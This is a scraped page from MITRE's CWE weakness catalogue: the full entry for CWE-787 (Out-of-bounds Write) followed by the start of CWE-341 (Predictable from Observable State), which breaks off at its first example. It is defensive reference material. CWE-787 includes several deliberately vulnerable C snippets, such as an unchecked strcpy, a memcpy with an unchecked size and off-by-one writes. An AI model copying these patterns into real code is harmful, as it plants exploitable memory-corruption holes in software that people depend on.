updated Common_Consequences
2010-09-27 CWE Content Team MITRE
updated Relationships
2009-10-29 CWE Content Team MITRE
updated Description
2008-09-08 CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
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CWE-787: Out-of-bounds Write

Weakness ID: 787
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
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+ Description
The product writes data past the end, or before the beginning, of the intended buffer. Diagram for CWE-787
+ Alternate Terms
Memory Corruption
Often used to describe the consequences of writing to memory outside the bounds of a buffer, or to memory that is otherwise invalid.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Modify Memory; Execute Unauthorized Code or Commands

Scope: Integrity

Write operations could cause memory corruption. In some cases, an adversary can modify control data such as return addresses in order to execute unexpected code.

DoS: Crash, Exit, or Restart

Scope: Availability

Attempting to access out-of-range, invalid, or unauthorized memory could cause the product to crash.

Unexpected State

Scope: Other

Subsequent write operations can produce undefined or unexpected results.
+ Potential Mitigations
Phase(s) Mitigation

Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Note: This is not a complete solution, since many buffer overflows are not related to strings.

Operation; Build and Compilation

Strategy: Environment Hardening

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.

D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness: Defense in Depth

Note:

This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

  • Double check that the buffer is as large as specified.
  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
  • Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.
  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Operation; Build and Compilation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Note: These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333].

Operation

Strategy: Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.

For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness: Defense in Depth

Note: This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Implementation
Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

Note: This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 119 Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 121 Stack-based Buffer Overflow
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 122 Heap-based Buffer Overflow
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 123 Write-what-where Condition
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 124 Buffer Underwrite ('Buffer Underflow')
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 822 Untrusted Pointer Dereference
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 823 Use of Out-of-range Pointer Offset
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 824 Access of Uninitialized Pointer
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 825 Expired Pointer Dereference
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1218 Memory Buffer Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 119 Improper Restriction of Operations within the Bounds of a Memory Buffer
+ Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 119 Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 123 Write-what-where Condition
+ Relevant to the view "CISQ Data Protection Measures" (View-1340)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 119 Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

C (Often Prevalent)

C++ (Often Prevalent)

Class: Assembly (Undetermined Prevalence)

Technologies

Class: ICS/OT (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


The following code attempts to save four different identification numbers into an array.

(bad code)
Example Language: C 
int id_sequence[3];

/* Populate the id array. */

id_sequence[0] = 123;
id_sequence[1] = 234;
id_sequence[2] = 345;
id_sequence[3] = 456;

Since the array is only allocated to hold three elements, the valid indices are 0 to 2; so, the assignment to id_sequence[3] is out of bounds.



Example 2


In the following code, it is possible to request that memcpy move a much larger segment of memory than assumed:

(bad code)
Example Language: C 
int returnChunkSize(void *) {

/* if chunk info is valid, return the size of usable memory,

* else, return -1 to indicate an error

*/
...
}
int main() {
...
memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
...
}

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).



Example 3


This code takes an IP address from the user and verifies that it is well formed. It then looks up the hostname and copies it into a buffer.

(bad code)
Example Language: C 
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */

validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}

This function allocates a buffer of 64 bytes to store the hostname. However, there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).



Example 4


This code applies an encoding procedure to an input string and stores it into a buffer.

(bad code)
Example Language: C 
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
if ( MAX_SIZE <= strlen(user_supplied_string) ){
die("user string too long, die evil hacker!");
}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){
if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&';
dst_buf[dst_index++] = 'a';
dst_buf[dst_index++] = 'm';
dst_buf[dst_index++] = 'p';
dst_buf[dst_index++] = ';';
}
else if ('<' == user_supplied_string[i] ){

/* encode to &lt; */
}
else dst_buf[dst_index++] = user_supplied_string[i];
}
return dst_buf;
}

The programmer attempts to encode the ampersand character in the user-controlled string. However, the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.



Example 5


In the following C/C++ code, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

(bad code)
Example Language: C 
char* trimTrailingWhitespace(char *strMessage, int length) {
char *retMessage;
char *message = malloc(sizeof(char)*(length+1));

// copy input string to a temporary string
char message[length+1];
int index;
for (index = 0; index < length; index++) {
message[index] = strMessage[index];
}
message[index] = '\0';

// trim trailing whitespace
int len = index-1;
while (isspace(message[len])) {
message[len] = '\0';
len--;
}

// return string without trailing whitespace
retMessage = message;
return retMessage;
}

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.



Example 6


The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

(bad code)
Example Language: C 
int i;
unsigned int numWidgets;
Widget **WidgetList;

numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);

However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.



Example 7


The following is an example of code that may result in a buffer underwrite. This code is attempting to replace the substring "Replace Me" in destBuf with the string stored in srcBuf. It does so by using the function strstr(), which returns a pointer to the found substring in destBuf. Using pointer arithmetic, the starting index of the substring is found.

(bad code)
Example Language: C 
int main() {
...
char *result = strstr(destBuf, "Replace Me");
int idx = result - destBuf;
strcpy(&destBuf[idx], srcBuf);
...
}

In the case where the substring is not found in destBuf, strstr() will return NULL, causing the pointer arithmetic to be undefined, potentially setting the value of idx to a negative number. If idx is negative, this will result in a buffer underwrite of destBuf.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Font rendering library does not properly handle assigning a signed short value to an unsigned long (CWE-195), leading to an integer wraparound (CWE-190), causing too small of a buffer (CWE-131), leading to an out-of-bounds write (CWE-787).
The reference implementation code for a Trusted Platform Module does not implement length checks on data, allowing for an attacker to write 2 bytes past the end of a buffer.
Chain: insufficient input validation (CWE-20) in browser allows heap corruption (CWE-787), as exploited in the wild per CISA KEV.
GPU kernel driver allows memory corruption because a user can obtain read/write access to read-only pages, as exploited in the wild per CISA KEV.
Chain: integer truncation (CWE-197) causes small buffer allocation (CWE-131) leading to out-of-bounds write (CWE-787) in kernel pool, as exploited in the wild per CISA KEV.
Out-of-bounds write in kernel-mode driver, as exploited in the wild per CISA KEV.
Escape from browser sandbox using out-of-bounds write due to incorrect bounds check, as exploited in the wild per CISA KEV.
Memory corruption in web browser scripting engine, as exploited in the wild per CISA KEV.
chain: mobile phone Bluetooth implementation does not include offset when calculating packet length (CWE-682), leading to out-of-bounds write (CWE-787)
Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787).
malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption
chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead.
Unchecked length of SSLv2 challenge value leads to buffer underflow.
Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130)
Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122)
Classic stack-based buffer overflow in media player using a long entry in a playlist
Heap-based buffer overflow in media player using a long entry in a playlist
+ Weakness Ordinalities
Ordinality Description
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
At the point when the product writes data to an invalid location, it is likely that a separate weakness already occurred earlier. For example, the product might alter an index, perform incorrect pointer arithmetic, initialize or release memory incorrectly, etc., thus referencing a memory location outside the buffer.
+ Detection Methods
Method Details

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Note:Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1399 Comprehensive Categorization: Memory Safety
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
ISA/IEC 62443 Part 3-3 Req SR 3.5
ISA/IEC 62443 Part 4-1 Req SI-1
ISA/IEC 62443 Part 4-1 Req SI-2
ISA/IEC 62443 Part 4-1 Req SVV-1
ISA/IEC 62443 Part 4-1 Req SVV-3
ISA/IEC 62443 Part 4-2 Req CR 3.5
+ References
[REF-1029] Aleph One. "Smashing The Stack For Fun And Profit". 1996-11-08.
<http://phrack.org/issues/49/14.html>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Stack Overruns" Page 129. 2nd Edition. Microsoft Press. 2002-12-04.
<https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Heap Overruns" Page 138. 2nd Edition. Microsoft Press. 2002-12-04.
<https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Nonexecutable Stack", Page 76. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189. 1st Edition. Addison Wesley. 2006.
[REF-90] "Buffer UNDERFLOWS: What do you know about it?". Vuln-Dev Mailing List. 2004-01-10.
<https://seclists.org/vuln-dev/2004/Jan/22>. (URL validated: 2023-04-07)
[REF-56] Microsoft. "Using the Strsafe.h Functions".
<https://learn.microsoft.com/en-us/windows/win32/menurc/strsafe-ovw?redirectedfrom=MSDN>. (URL validated: 2023-04-07)
[REF-57] Matt Messier and John Viega. "Safe C String Library v1.0.3".
<http://www.gnu-darwin.org/www001/ports-1.5a-CURRENT/devel/safestr/work/safestr-1.0.3/doc/safestr.html>. (URL validated: 2023-04-07)
[REF-58] Michael Howard. "Address Space Layout Randomization in Windows Vista".
<https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista>. (URL validated: 2023-04-07)
[REF-60] "PaX".
<https://en.wikipedia.org/wiki/Executable_space_protection#PaX>. (URL validated: 2023-04-07)
[REF-61] Microsoft. "Understanding DEP as a mitigation technology part 1".
<https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/>. (URL validated: 2023-04-07)
[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28.
<https://www.redhat.com/en/blog/position-independent-executables-pie>. (URL validated: 2023-04-07)
[REF-1332] John Richard Moser. "Prelink and address space randomization". 2006-07-05.
<https://lwn.net/Articles/190139/>. (URL validated: 2023-04-26)
[REF-1333] Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016.
<http://www.cs.ucr.edu/~nael/pubs/micro16.pdf>. (URL validated: 2023-04-26)
[REF-1334] D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023.
<https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/>. (URL validated: 2023-04-26)
[REF-1335] D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023.
<https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/>. (URL validated: 2023-04-26)
[REF-1336] D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023.
<https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/>. (URL validated: 2023-04-26)
[REF-1337] Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". Memory information leaks. 2008.
<https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf>. (URL validated: 2023-04-26)
+ Content History
+ Submissions
Submission Date Submitter Organization
2009-10-21
(CWE 1.6, 2009-10-29) 		CWE Content Team MITRE
+ Contributions
Contribution Date Contributor Organization
2023-04-25 "Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
2024-02-29
(CWE 4.15, 2024-07-16) 		Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Observed_Examples, Relationships
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated Observed_Examples, Relationships
2024-07-16
(CWE 4.15, 2024-07-16) 		CWE Content Team MITRE
updated Alternate_Terms, Common_Consequences, Description, Diagram, Weakness_Ordinalities
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships, Taxonomy_Mappings
2023-04-27 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2023-01-31 CWE Content Team MITRE
updated Alternate_Terms, Demonstrative_Examples, Description
2022-10-13 CWE Content Team MITRE
updated Applicable_Platforms
2022-06-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2021-07-20 CWE Content Team MITRE
updated Demonstrative_Examples, Potential_Mitigations, Relationships
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2020-12-10 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Alternate_Terms, Demonstrative_Examples, Observed_Examples, Relationships
2020-06-25 CWE Content Team MITRE
updated Observed_Examples
2020-02-24 CWE Content Team MITRE
updated Observed_Examples, Relationships
2019-09-19 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, References, Relationships, Time_of_Introduction
2018-03-27 CWE Content Team MITRE
updated Description
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-06-23 CWE Content Team MITRE
updated Demonstrative_Examples
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-09-27 CWE Content Team MITRE
updated Relationships
2010-02-16 CWE Content Team MITRE
updated Demonstrative_Examples
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CWE-341: Predictable from Observable State

Weakness ID: 341
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Varies by Context

Scope: Other

This weakness could be exploited by an attacker in a number ways depending on the context. If a predictable number is used to generate IDs or keys that are used within protection mechanisms, then an attacker could gain unauthorized access to the system. If predictable filenames are used for storing sensitive information, then an attacker might gain access to the system and may be able to gain access to the information in the file.
+ Potential Mitigations
Phase(s) Mitigation

Implementation
Increase the entropy used to seed a PRNG.

Architecture and Design; Requirements

Strategy: Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Implementation
Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 340 Generation of Predictable Numbers or Identifiers
PeerOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 339 Small Seed Space in PRNG
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1213 Random Number Issues
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


This code generates a unique random identifier for a user's session.

